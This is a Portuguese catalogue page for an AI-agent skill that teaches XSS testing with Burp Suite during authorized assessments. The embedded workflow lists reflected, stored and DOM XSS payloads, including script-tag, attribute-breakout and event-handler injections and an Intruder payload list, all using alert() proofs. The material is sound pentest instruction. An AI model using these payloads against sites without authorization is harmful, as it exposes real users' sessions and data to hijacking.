testing-for-xss-vulnerabilities-with-burpsuite
Faz seu agente encontrar e confirmar falhas de XSS em sites. Ele usa ferramentas específicas para verificar se código malicioso pode ser executado no navegador de um usuário. Importante para a segurança de sites.
O que ela faz
Esta ferramenta ajuda a encontrar falhas de segurança chamadas XSS (Cross-Site Scripting) em sites. Ela usa um programa chamado Burp Suite para testar como o site lida com informações enviadas pelos usuários.
Quando usar
- ✓Ao testar a segurança de um site com permissão.
- ✓Para confirmar se uma falha encontrada por outra ferramenta é real.
- ✓Ao verificar se as proteções do site contra XSS estão funcionando.
Exemplo do que pedir para a IA
“Verifique se há falhas de XSS no site exemplo.com”
Quer saber mais? Abra as seções abaixo.
Como usar
O jeito mais fácil: copie a mensagem abaixo e cole no Claude, ChatGPT, Cursor ou outra IA. Ela lê a skill e segue as instruções.
Link da skill
Mensagem pronta para colar
Como funciona
O Burp Suite é configurado para monitorar o tráfego do site. Em seguida, ele envia dados de teste para diferentes partes do site e analisa as respostas para ver se códigos maliciosos são executados.
Instalação
Jeito mais fácil: copie o link da skill e cole no Claude, ChatGPT ou Cursor pedindo para seguir as instruções.
No terminal (Claude Code, Codex, Cursor), na pasta do projeto:
npx skills add mukul975/Anthropic-Cybersecurity-Skills --skill testing-for-xss-vulnerabilities-with-burpsuiteOu baixe só o arquivo:
curl -L https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/main/skills/testing-for-xss-vulnerabilities-with-burpsuite/SKILL.md -o SKILL.mdConteúdo técnico (SKILL.md)
Tradução do texto original do autor no GitHub. Os comandos e códigos estão como no original.
Testando Vulnerabilidades XSS com Burp Suite
Quando Usar
- Durante testes de penetração autorizados em aplicações web para encontrar XSS refletido, armazenado e baseado em DOM.
- Ao validar descobertas de XSS reportadas por scanners automatizados de vulnerabilidades.
- Para testar a eficácia da Política de Segurança de Conteúdo (CSP) e filtros XSS.
- Ao avaliar a segurança do lado do cliente de aplicações de página única (SPAs).
- Durante programas de bug bounty focados em vulnerabilidades XSS.
Pré-requisitos
- Autorização: Escopo escrito e regras de engajamento para a aplicação alvo.
- Burp Suite Professional: Versão licenciada com capacidades de scanner ativas.
- Navegador: Firefox ou Chromium com o certificado CA do Burp instalado.
- FoxyProxy: Extensão de navegador configurada para rotear o tráfego através do proxy do Burp (127.0.0.1:8080).
- Aplicação alvo: Acesso autenticado com credenciais de teste válidas.
- Lista de payloads XSS: Wordlist customizada ou conjunto de payloads XSS integrado do Burp.
Fluxo de Trabalho
Passo 1: Configurar o Burp Suite e Mapear a Aplicação
Configure o proxy e rastreie a aplicação para descobrir todos os vetores de entrada.
# Burp Suite Configuration
1. Proxy > Options > Proxy Listeners: 127.0.0.1:8080
2. Target > Scope: Add target domain (e.g., *.target.example.com)
3. Dashboard > New Scan > Crawl only > Select target URL
4. Enable "Passive scanning" in Dashboard settings
# Browser Setup
- Install Burp CA: http://burpsuite → CA Certificate
- Import certificate into browser trust store
- Configure proxy: 127.0.0.1:8080
- Browse the application manually to build the site map
Passo 2: Identificar Pontos de Reflexão com o Burp Repeater
Envie requisições para o Repeater e injete strings de "canário" únicas para encontrar onde a entrada do usuário é refletida.
# In Burp Repeater, inject a unique canary string into each parameter:
GET /search?q=xsscanary12345 HTTP/1.1
Host: target.example.com
# Check the response for reflections of the canary:
# Search response body for "xsscanary12345"
# Note the context: HTML body, attribute, JavaScript, URL, etc.
# Test multiple injection contexts:
# HTML body: <p>Results for: xsscanary12345</p>
# Attribute: <input value="xsscanary12345">
# JavaScript: var search = "xsscanary12345";
# URL context: <a href="/page?q=xsscanary12345">
# Test with HTML special characters to check encoding:
GET /search?q=xss<>"'&/ HTTP/1.1
Host: target.example.com
# Check which characters are reflected unencoded
Passo 3: Testar XSS Refletido com Payloads Específicos ao Contexto
Com base no contexto de reflexão, crie payloads XSS direcionados.
# HTML Body Context - Basic payload
GET /search?q=<script>alert(document.domain)</script> HTTP/1.1
Host: target.example.com
# HTML Attribute Context - Break out of attribute
GET /search?q=" onfocus=alert(document.domain) autofocus=" HTTP/1.1
Host: target.example.com
# JavaScript String Context - Break out of string
GET /search?q=';alert(document.domain)// HTTP/1.1
Host: target.example.com
# Event Handler Context - Use alternative events
GET /search?q=<img src=x onerror=alert(document.domain)> HTTP/1.1
Host: target.example.com
# SVG Context
GET /search?q=<svg onload=alert(document.domain)> HTTP/1.1
Host: target.example.com
# If angle brackets are filtered, try encoding:
GET /search?q=%3Cscript%3Ealert(document.domain)%3C/script%3E HTTP/1.1
Host: target.example.com
Passo 4: Testar XSS Armazenado via Burp Intruder
Use o Burp Intruder para testar XSS armazenado em campos de entrada como comentários, perfis e mensagens.
# Burp Intruder Configuration:
# 1. Right-click request > Send to Intruder
# 2. Positions tab: Mark the injectable parameter
# 3. Payloads tab: Load XSS payload list
# Example payload list for Intruder:
<script>alert(1)</script>
<img src=x onerror=alert(1)>
<svg/onload=alert(1)>
<body onload=alert(1)>
<input onfocus=alert(1) autofocus>
<marquee onstart=alert(1)>
<details open ontoggle=alert(1)>
<math><mtext><table><mglyph><svg><mtext><textarea><path id="</textarea><img onerror=alert(1) src=1>">
"><img src=x onerror=alert(1)>
'-alert(1)-'
\'-alert(1)//
# In Intruder > Options > Grep - Match:
# Add patterns: "alert(1)", "onerror=", "<script>"
# This flags responses where payloads are reflected/stored
Passo 5: Testar XSS Baseado em DOM
Identifique JavaScript do lado do cliente que processa a entrada do usuário de forma insegura usando o DOM Invader do Burp.
# Habilite o DOM Invader no navegador embutido do Burp:
# 1. Abra o navegador Chromium embutido do Burp
# 2. Clique no ícone da extensão DOM Invader > Habilitar
…
Perguntas frequentes
O que é XSS?
XSS é um tipo de ataque onde um invasor injeta código malicioso (geralmente JavaScript) em um site. Se o site não for seguro, esse código pode ser executado no navegador de outros usuários, roubando informações ou realizando ações em nome deles.
O que é Burp Suite?
Burp Suite é um conjunto de ferramentas usado por profissionais de segurança para testar a segurança de aplicações web. Ele permite interceptar, inspecionar e modificar o tráfego entre o navegador e o servidor.
Preciso de permissão para usar esta ferramenta?
Sim, é crucial ter autorização explícita por escrito antes de realizar qualquer teste de segurança em um site. Testar sem permissão é ilegal.
Detalhes
Descrição original do autor
Identifying and validating cross-site scripting vulnerabilities using Burp Suite's scanner, intruder, and repeater tools during authorized security assessments.
Popularidade
- Estrelas no GitHub
- 35 mil
- Posição no ranking
- #6228
- Licença
- Apache-2.0
- Atualizada em
- 31/08/2026
Comentários
- …
Mais skills deste repositório
abusing-dpapi-for-credential-access
Dá ao seu agente de IA instruções prontas para uma tarefa específica, para ele fazer melhor e mais rápido.
mukul975/Anthropic-Cybersecurity-Skills
abusing-shadow-credentials-for-privesc
Ensina seu agente de IA a escrever textos claros e bem estruturados.
mukul975/Anthropic-Cybersecurity-Skills
achieving-cmmc-level-2-compliance
Ajuda seu agente a preparar um ambiente para conformidade com CMMC Nível 2. Ele implementa requisitos de segurança e gerencia a documentação necessária.
mukul975/Anthropic-Cybersecurity-Skills
acquiring-disk-image-with-dd-and-dcfldd
Ajuda seu agente a criar cópias exatas de discos rígidos. Isso é útil para garantir que nenhuma informação seja perdida ou alterada durante investigações.
mukul975/Anthropic-Cybersecurity-Skills
Skills parecidas
django-security
Ajuda seu agente a implementar práticas de segurança em aplicações Django. Ele foca em autenticação, autorização e prevenção contra ataques comuns, garantindo um código mais seguro.
affaan-m/ECC
laravel-security
Ajuda seu agente a proteger aplicações Laravel contra ameaças. Implementa práticas de segurança para autenticação, autorização e prevenção de ataques comuns.
affaan-m/ECC
module-regression
Ajuda seu agente a gerenciar mudanças em projetos grandes. Garante que alterações em uma parte do código não quebrem outras partes.
affaan-m/ECC